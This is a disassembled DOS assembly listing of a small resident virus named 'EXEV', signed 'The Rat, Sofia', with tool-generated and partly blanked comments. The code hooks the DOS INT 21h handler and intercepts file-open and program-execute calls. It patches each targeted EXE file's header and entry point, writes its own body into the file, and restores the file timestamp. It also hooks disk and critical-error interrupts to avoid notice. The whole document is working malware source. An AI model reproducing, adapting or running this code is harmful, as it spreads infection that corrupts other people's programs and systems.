
PAGE  59,132

;
;                                                                      
;                             EXEV                                     
;                                                                      
;      Created:   2-Jun-90                                             
;      Version:                                                        
;      Passes:    9          Analysis Options on: ABCDEFPX             
;                                                                      
;                                                                      
;

data_13e        equ     1000h                   ; (6B7E:1000=0)

seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a


                org     100h

exev            proc    far

start:
                mov     dx,offset data_1        ; (6B7E:010A=0Ah)
                mov     ah,9
                int     21h                     ; DOS Services  ah=function 09h
                                                ;  display char string at ds:dx
                jmp     loc_2                   ; (0A10)
data_1          db      0Ah, 0Dh, '   . '
                db      '  ! ..', 0Ah, 0Dh, '$'
                db      0
                db      1928 dup (0)
data_3          dw      0
                db      0, 0, 0, 0
data_4          dw      0
data_5          dw      0
data_6          dw      0
                db      0, 0, 0, 0
data_7          dw      0
                db      0, 0, 0, 0
data_8          dw      0
data_9          dw      0
                db      310 dup (0)
loc_2:
                cld                             ; Clear direction
                mov     ax,352Bh
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     bp,ds
                push    cs
                pop     ds
                add     word ptr jmp_far+3,bp   ;   JMP FAR  
                mov     si,0A10h                ;      
                mov     di,si                   ; ES     INT 21H
                mov     cx,180h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                push    es                      ;       
                mov     ax,offset prehod        ; ,   
                push    ax
                retf                            ; Return far
prehod          label   word
                lea     di,[bx+1Bh]             ;      JMP FAR
                mov     al,0E9h                 ;    JMP
                stosb                           ; Store al to es:[di]
                mov     ax,offset jmp_far+3     ;        
                sub     ax,di                   ; ,    
                stosw                           ; INT 21H   
                stosw                           ;     
                stosw                           ;  
                mov     cs:data_3,di            ;     INT 21H
                mov     ax,ss                   ;  SS
                sub     ax,18h
                cli
                mov     ss,ax
                lea     ax,[bp+10h]             ;     
                mov     bx,11h                  ;    
move            label   word
loc_3:
                mov     es,ax
                add     ax,18h
                mov     ds,ax
                xor     si,si                   ;    180h  
                xor     di,di                   ;      . 
                mov     cx,0C0h                 ; 11h     
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                dec     bx
                jns     loc_3                   ; Jump if not sign
                sti                             ; Enable interrupts
                mov     ds,bp                   ;  DS  ES
                push    ds
                pop     es
jmp_far:        db      0EAh,0,0,0,0            ;        JMP FAR
int_21:         cld                             ;      INT 21H
                cmp     ah,3Dh                  ; '='
                je      loc_4                   ; Jump if equal
                cmp     ah,4Bh                  ; 'K'
                jne     loc_5                   ; Jump if not equal
loc_4:                                          ;  xref 6B7E:0A70
                push    es
                call    sub_5                   ; (0AAD)
                pop     es
loc_5:                                          ;  xref 6B7E:0A75
                jmp     cs:data_3               ; JMP  INT 21h

exev            endp

;
;                              SUBROUTINE
;

sub_1           proc    near                    ; /   
                mov     cx,20h                  ;    INT 21H_SEG:8C2
                mov     dx,8C2h
                jmp     short loc_6             ; (0A90)                         ; (0A90)

; External Entry into Subroutine 

sub_2:
                mov     ax,4200h
                xor     dx,dx                   ; Zero register

; External Entry into Subroutine 

sub_3:
                xor     cx,cx

; External Entry into Subroutine 

sub_4:                                          ;    INT 21H
loc_6:                                          ;  xref 6B7E:0A87
                pushf                           ; Push flags
                push    cs
                call    cs:data_3               ; (6B7E:08C0=0)
                retn
sub_1           endp

abort  :        mov     al,3                    ;    INT 24H
                iret                            ; Interrupt return
_1              dw      17D0h
                dw      1509h
                dw      154Ch
_2              dw      0F7Ah
                dw      15DCh                   ;     INT 13H
                dw      161Fh

_3              dw      0FC9h,15DCh,161Fh        ;   
                                                 ;INT 25H,INT 26H,INT 27H

;
;                              SUBROUTINE
;

sub_5           proc    near
                push    di                      ;  
                push    si
                push    dx
                push    cx
                push    bx
                push    ax
                push    ds
                xor     ax,ax                   ; Zero register
                mov     ds,ax
                push    cs
                pop     es
                mov     si,4Ch
                push    si
                mov     di,8E2h
                mov     cx,28h                  ;    13H  24H
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     di
                push    ds
                pop     es
                mov     al,70h                  ; 'p'
                mov     ds,ax
                mov     al,ds:data_13e          ;  al   70:1000
                mov     si,offset _1
                cmp     al,0
                je      loc_7                   ; Jump if equal
                mov     si,offset _2
                cmp     al,0Fh
                je      loc_7                   ; Jump if equal
                mov     si,offset _3
loc_7:                                          ;  xref 6B7E:0AD5, 0ADC
                push    cs
                pop     ds
                movsw
                mov     al,70h                  ;  INT 13H
                stosw                           ; Store ax to es:[di]
                mov     di,90h
                mov     ax,offset abort         ;    INT 24H
                stosw                           ; Store ax to es:[di]
                mov     ax,cs
                stosw
                movsw
                stosw                           ;   
                movsw                           ;   INT 25H , INT 26H ,
                stosw                           ; INT 27H
                pop     ds
                mov     ax,3D02h                ;    /
                call    sub_4                   ; (0A90)
                push    ds
                push    cs
                pop     ds
                mov     bx,ax
                mov     ax,5700h                ;      
                jc      loc_9                   ; Jump if carry Set
                call    sub_4                   ; (0A90)
                push    cx                      ;      
                push    dx
                mov     ah,3Fh                  ;     
                call    sub_1                   ; (0A81)
                cmp     data_5,0                ;    
                jne     loc_8                   ;   
                cmp     data_6,ax               ;     0 ?
                jne     loc_8                   ; Jump if not equal
                mov     ax,data_4               ;   AX   
                shl     ax,1                    ;    2
                mov     word ptr move-2,ax      ;      
                sub     data_6,18h              ;    
                add     data_7,18h              ;    SS  18h
                mov     ax,0A10h
                xchg    ax,data_8               ; IP     A10h
                mov     word ptr jmp_far+1,ax   ;  IP  FAR JMP
                mov     ax,0FF5Fh               ;  CS , CS:IP 
                xchg    ax,data_9               ;    
                add     ax,10h
                mov     word ptr jmp_far+3,ax   ;   JMP FAR 
                call    sub_2                   ;     
                mov     ah,40h                  ;  
                call    sub_1                   ; (0A81)
                mov     ax,4200h
                mov     dx,80h                  ;   80h
                call    sub_3                   ; (0A8E)
                mov     cx,180h
                mov     dx,0A10h
                mov     ah,40h                  ;  
                call    sub_4                   ; (0A90)
loc_8:                                          ;  xref 6B7E:0B15, 0B1B
                pop     dx
                pop     cx
                mov     ax,5701h                ;     
                call    sub_4                   ; (0A90)
                mov     ah,3Eh                  ;  
                call    sub_4                   ; (0A90)
loc_9:                                          ;  xref 6B7E:0B04
                mov     si,8E2h
                mov     di,4Ch
                mov     cx,28h                  ;  
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ds
                pop     ax                      ;  
                pop     bx
                pop     cx
                pop     dx
                pop     si
                pop     di
                retn
sub_5           endp

                db      'The Rat, Sofia'



seg_a           ends

                end  start
